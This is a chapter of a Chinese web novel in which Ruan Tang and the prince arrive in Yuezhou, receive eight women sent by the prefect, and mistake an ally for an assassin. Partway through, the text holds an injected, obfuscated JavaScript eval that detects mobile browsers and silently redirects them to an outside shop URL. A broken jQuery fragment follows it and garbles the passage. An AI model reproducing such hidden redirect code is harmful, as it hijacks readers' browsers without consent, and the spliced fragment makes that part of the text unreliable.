文趣网 > 其他小说 > 穿书后抱上隐藏大“腿” > 73. 月流烟渚(六)
    他这是半夜吓人上瘾了?

    阮棠忍不住翻个白眼:“原本不太怕,你这神出鬼没的蹲在人床头,但凡正常人都要被你吓死。”

    赵倦笑了一声:“我在里面听到你不停翻身……”

    耳朵真好。

    阮棠:“我打扰到王爷了?那我小声点,王爷快去睡罢,我就是晚上吃多了,肚子不太舒服。”

    轮子滚动的声音,然后停了,传来倒水的声音。片刻后,赵倦又回转来,递给她一杯茶,茶放在保温壶里,还是温的:“喝点茶。”

    阮棠接过来。

    船外一轮硕大的月亮,悬在水面上,看起来格外大。

    赵倦:“放心罢,到越州之前,贾德润不敢再动手了。”

    阮棠:“我真的没怕。”

    赵倦:“好的,你不怕。”

    阮棠:“……”

    见她一气饮下一杯茶,赵倦伸手过来要接杯子。阮棠觉得使唤一个残疾人伺候自己实在不像话,便推拒了,想自己下床放杯子。

    赵倦坚持拿过杯子,低声道:“你夜里眼睛不是不好吗?不小心撞伤自己便也罢了,万一摔碎我的杯子——”

    阮棠:“……你怎知我夜里看不清东西?”

    赵倦:“上次中秋夜在院子里赏月时,你不知把姜片当成什么,送到嘴里,立刻吐了出来。”

    阮棠瞬间有一种做坏事被人抓了现行的感觉。她当时以为是梨片,吃进嘴里才发现是姜,四周看了,自觉无人注意,才悄悄吐了,没想到都被赵倦看在眼里。

    “睡罢,我回去了。”

    赵倦说完,不待她说话,摇着轮椅进去了。

    不知这是什么茶,躺下后不久,睡意涌来,阮棠一觉好眠。

    第二日在渡口和另两艘官船会合后,知道赵倦遇险,两艘船上又各拨一百名侍卫上船保护赵倦,贾德润则移到后面的船上安心养伤。

    此后果然如赵倦所料,顺风顺水,再无意外发生。

    越往南,天气越热,河水越浅。大片的河床暴露出来,被烈日烤得裂开。江浙地区可以种早稻,稻米一年两熟,若是没有旱灾,此时正是早稻孕穗的时候。

    如今打眼一看,两岸稻田干得裂开,怕是要绝产。

    阮棠提前替赵倦发愁起来,贾德润有一句话说的不错,这赈灾就是颗烫手山芋,谁接谁发愁。办得好,不太能看到效果。办得坏,人人都可口诛笔伐。

    可赵倦宁可来越州盘这颗烫手山芋,也不愿在京中查案。

    船靠岸的前一夜,于庭又逮了只信鸽进来。是燕子回传来的信,信中说已经简相公的下落已有眉目,还将越州城中情况与赵倦简单说了。

    赵倦看完,神色肃然:“越州城中情况更复杂,比船上的危险只多不少。进城后,你待在我身边,片刻不得离开。”

    这话是对阮棠说的。

    阮棠心里虽有其他打算,也知道此行非同小可,朝赵倦点头答应。

    —

    第二日船靠岸,越州知州张智瀚带着一群官员僚属,亲自来码头迎接。

    打了一套官场“太极拳”,赵倦上了马车,径自去往张知州安排的住处。据这位张大人说,得知王爷南下,就收拾修缮了这座园子。这园子原是越州一个富户的宅子,几年前犯了事,全家被流放,园子也被朝廷抄没。

    几位官员将他们送到地,还想跟进来伺候,于庭出面说王爷乏了,请各位大人回去等消息,众人才散去。

    于庭去分派守院子的侍卫,豆蔻指挥人搬行李,阮棠推着赵倦朝里走。

    这两年来,阮棠也见多了上流社会的繁华富贵。且不论晋王府的大气森然,就是秦国公府的府邸也很气派,她又不是没见过世面的。

    但走进这院落,阮棠还是没忍住,大大吃惊了一番。

    吴越之地,果然富到流油。这园子,若是官家南巡,做行宫也是足够的。

    园子里飞檐朗阁,小桥流水,奇山异石,十里花林。此时正是春夏之交,林子里花草葱郁,芳菲斗艳。一阵风过,就下一场花瓣雨。

    阮棠忍不住吐槽:“这富商犯的什么罪过?难道是因为太有钱吗?”

    赵倦笑了一声,没搭理她。

    到了主屋,于庭和豆蔻已经收拾布置得差不多了。

    见到他们来了,于庭汇报:“院子四周安排了共两百名侍卫,大多都安排在前院。厨司和医官等人也都安置在前院,没有传唤不得进后院。”

    赵倦:“燕子回有消息吗?”

    于庭:“还没有。”

    赵倦再无别的话,在于庭的伺候下,去屋里歇下了。阮棠也无事,便也带着豆蔻回自己屋,蒙头就睡,晃悠悠的水上换成地上,这才觉得心里踏实了。

    一觉睡到晌午。

    在床上没形状地伸了个懒腰,豆蔻听到动静,掀起帐子,够了金钩来挂上。笑盈盈地道:“娘子在船上都没睡过好觉罢?”

    阮棠想了想,道:“刚开始两天不习惯,睡得不沉,夜里总醒,后来习惯了也就好了。——王爷醒了吗?”

    豆蔻抿嘴笑:“醒了,在厅里看书呢。方才王爷也问了我一样的问题,听到娘子还在睡,嘱咐我别扰了娘子,让你好好睡一觉。”

    阮棠想起前一夜吃饱了撑的,睡不着,赵倦给她端茶倒水,心道,娇生惯养的皇子,不知在哪学的,还挺会照顾人。

    倦意已消,阮棠起床洗漱。

    豆蔻拿出两身衣服,一套男装一套女装,问:“娘子穿哪身?”

    阮棠:“男装罢。”

    这些日子穿惯了,发现太监服饰的好处。窄袖短袍,袍角绝不会曳地,窄袖也方便做事。头发就更简单了,梳独髻戴发冠,比女妆要省事省时得多。

    况且下船时,赵倦随从里没有女的,忽然变出个女人,也不合适。

    收拾好后,阮棠走进厅里。赵倦听到动静,从书卷上分出眼睛来,看了她一眼。见她还是一身青袍,清清秀秀的,一杆才长出来的青翠幼竹一般。他眼睛亮了亮,随即又垂眸去看书。

    阮棠压根就没看他。

    船上他们随身放在舱里的行李还堆在厅里,都未拆开。阮棠在箱笼中翻找自己的手稿,她昨日亲自收拾的。

    翻了几只箱子,都不是。皱着眉在一旁打量箱子,赵倦忽然出声了。

    “左起第三只箱子。”

    阮棠翻开一看,果然,她在船上写的手稿都在这只箱子里。

    阮棠:“多谢王爷,还是王爷记性好。”

    于庭走进来,面色有些古怪,说园子里来人了。

    赵倦:“谁?”

    于庭:“张大人差人送来八位女娘,说看到王爷身边没有女使,恐怕起居不方便。所以挑了八位懂事温柔的女娘,特来伺候王爷。”

    来了,美人计!

    阮棠眼睛亮了:“美吗?”

    于庭看了赵倦一眼:“王妃去前院看看,就知道了。”

    赵倦:“摆饭,本王饿了。”

    阮棠:“……”

    厨司还是船上的,但是菜不是船上的菜了。下午厨房采办去集市买了菜回来,因为有新鲜菜供应,做出了一桌与船上截然不同的宴来,一条鱼都没有。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500232|202691||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看来这段日子,不止阮棠都吃厌了鱼。

    待吃完午膳,漱毕口。阮棠一双晶晶亮的眼,充满期待地看向赵倦。

    赵倦垂眸放下茶盏,有点无奈:“那么好奇?”

    阮棠忙不迭点头。

    赵倦:“走罢,去前院看看张知州送来的美人。”

    于庭忍笑,上前推赵倦出门,阮棠连忙跟上。

    —

    吴越自古出美人,据说是水好,皮肤都像是被米汤淘洗过一般,白得发亮。

    阮棠在打量八个风姿各异的女子,那些女子也偷偷打量他们。北地人个子高,便是阮棠这样的女子,身形也比较高挑,她穿着内侍服,俊秀得令她们频频偷看。

    虽明知“他”是个“太监”,也忍不住。

    这八名女子或是明艳或是清婉,手伸出来,十指纤纤,一见就是从未干过活的。行走间,弱柳扶风状,流水般的裙裾下,露出小小的三寸金莲来。

    阮棠皱了皱眉,京城贵女无人裹小脚,没想到吴越之地的女子竟有裹脚的。

    于庭轻咳一声,让她们各自介绍。

    阮棠细听,心中暗笑。这几个女娘名字取得花,都是“娇娇”“如月”“婉儿”之类,擅长的也都是些弹唱舞乐,显然是在勾栏里做卖笑营生的。

    买女使送来干活……分明是想让她们在赵倦床上干活。

    她心中觉得好笑,脸上不由也露出几丝笑意。

    几位女娘介绍完毕,赵倦久久不出声,花厅里出现死一般的寂静。阮棠转头看他,却发现他正一脸兴味地打量她。

    阮棠:“……”

    赵倦轻咳一声,看都不看底下站着的八个女娘,问阮棠:“元木觉得这几个娘子,如何?”

    阮棠清了清嗓子:“都很美。”

    赵倦:“既然是张大人特意挑选的女使,本王拒之,是为失礼。你们都留下,住在前院,听元管事的吩咐。”

    阮棠:“……”

    她能吩咐她们做什么?一个个花枝招展的,难道她要给她们排位序,轮流送去侍奉赵倦?

    夜里歇下时,于庭忍不住问赵倦:“为什么让王妃管那些女娘?”

    赵倦笑了笑:“一旦这猴儿闲下来,就会坏我的事。给她找点事做,免得在外惹乱子。”想了想,又吩咐于庭,“你也看着点,一旦她出园子,及时来告诉我。”

    于庭答应了。

    阮棠此时很头疼,愁得睡不着。

    黑夜中,有人踩着屋檐,身姿如飞。

    知道他看到檐下悬着玉兰花灯的屋子,方才住了脚步,轻轻跃下,踩碎一根枯枝,发出细碎的裂响。

    睡着的人压根注意不到,但是此刻阮棠是醒的。

    想起在阎婆江上被水寇偷袭的事,阮棠不敢大意,拿过外衣穿上,轻轻走到门口。门刚启开一条缝,就见一个高大人影闪进了对过赵倦的屋子。

    不好,怕是刺客。

    没有多想,阮棠回身从箱笼中翻出一根长簪,握在手中。轻轻走到赵倦房门前,侧耳细听,屋里没动静。她小心推开门,一脚刚跨进屋子,便被一只有力的大手握住肩膀,下一刻,双手被锁在身后,手中的簪子落到地上,发出一声响。

    有人点亮烛火,屋子里亮起来。

    赵倦看了过来,微愕之后,笑了:“你怎么还没睡?”

    身后锁着她双臂的人也放开了她,绕到身前对她行礼:“原来是王妃,属下冒犯了。”

    阮棠:“……”

    “兄妹相见”,甚是尴尬,阮棠怎么也没想到,“刺客”竟是燕子回。